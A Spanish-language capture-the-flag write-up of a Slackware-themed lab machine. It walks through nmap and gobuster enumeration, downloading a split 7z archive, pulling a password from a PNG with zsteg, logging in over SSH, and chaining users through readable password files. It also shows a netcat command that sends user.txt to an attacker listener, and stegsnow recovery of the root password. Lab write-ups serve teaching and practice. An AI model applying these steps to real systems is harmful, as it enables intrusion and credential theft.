Enumeración de servicios
La máquina desplaza SSH y HTTP a los puertos 1 y 2, respectivamente. Esta distribución poco habitual obliga a indicar el puerto explícitamente tanto al navegador como al cliente SSH:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.63.247
❯ nmap -sCV -p1,2 192.168.63.247
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-03 19:15 -04
Nmap scan report for 192.168.63.247
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
1/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open http Apache httpd 2.4.58 ((Unix))
|_http-title: Tribute to Slackware
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.58 (Unix)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 secondsRecuperación del archivo multipartes
Durante la enumeración web, robots.txt no revela un nombre completo, sino la extensión del primer segmento de un archivo 7z multipartes:
❯ gobuster dir -u 'http://192.168.63.247:2' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png -r
...
/getslack (Status: 200) [Size: 12]
❯ cat robots.txt
User-agent: *
#7z.001Volvemos a fuzzear /getslack con esa extensión y encontramos partes de un 7z:
❯ gobuster dir -u 'http://192.168.63.247:2/getslack' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,7z.001 -r
...
/twitter.7z.001 (Status: 200) [Size: 20480]
...El patrón descubierto permite automatizar la descarga secuencial. Las primeras catorce partes forman el archivo completo; los intentos posteriores simplemente permiten que wget determine cuándo dejan de existir segmentos:
❯ cat download.sh
for i in {1..100}
do
if [ $i -lt 10 ]; then
url="http://192.168.63.247:2/getslack/twitter.7z.00$i"
wget $url
elif [ $i -ge 10 ] && [ $i -lt 100 ]; then
url="http://192.168.63.247:2/getslack/twitter.7z.0$i"
wget $url
else
url="http://192.168.63.247:2/getslack/twitter.7z.$i"
wget $url
fi
doneEsteganografía y acceso inicial
Al colocar los segmentos juntos y abrir el archivo desde twitter.7z.001, recuperamos una imagen PNG de Patrick Volkerding. zsteg inspecciona sus planos de bits y encuentra una cadena incrustada que funciona como contraseña:
❯ zsteg twitter.png
...
extradata:0 .. text: "trYth1sPasS1993"
...La temática de la imagen aporta el usuario patrick. Usamos la cadena extraída para autenticarnos por SSH en el puerto 1:
❯ ssh patrick@192.168.63.247 -p 1
(patrick@192.168.63.247) Password:
Linux 5.15.145.
patrick@slackware:~$Credential Reuse entre usuarios
Los permisos de grupo sobre cada mypass.txt permiten que una cuenta lea la contraseña de otra. Cada credencial recuperada habilita el siguiente cambio de usuario, formando una cadena hasta rpj7:
patrick@slackware:/home$ ls | xargs ls -l 2>/dev/null
claor/:
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
kretinga/:
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txtclaor@slackware:/home$ ls | xargs ls -l 2>/dev/null
alienum/:
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
mrmidnight/:
-rw-r----- 1 mrmidnight alienum 13 Mar 10 22:15 mypass.txt
...Escalada mediante esteganografía en espacios en blanco
En el home de rpj7 encontramos la flag de usuario y un mensaje oculto mediante variaciones de espacios y tabulaciones. Transferimos el archivo sin transformarlo y usamos stegsnow para recuperar el contenido encubierto:
❯ nc -lvp 4444 > snow_user.txt
rpj7@slackware:~$ nc -w 3 192.168.63.50 4444 < user.txt
❯ stegsnow -C snow_user.txt
To_Jest_Bardzo_Trudne_HasloEsa es la contraseña de root:
rpj7@slackware:~$ su root
Password: To_Jest_Bardzo_Trudne_Haslo
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.La flag de root está escondida en un .screenrc dentro de /home:
root@slackware:~# find /home -name "*" | xargs grep flag 2>/dev/null
/home/0xh3rshel/.screenrc:# Here is a flag for root: [redacted]La búsqueda desde la sesión privilegiada localiza la flag real dentro de .screenrc y completa la máquina.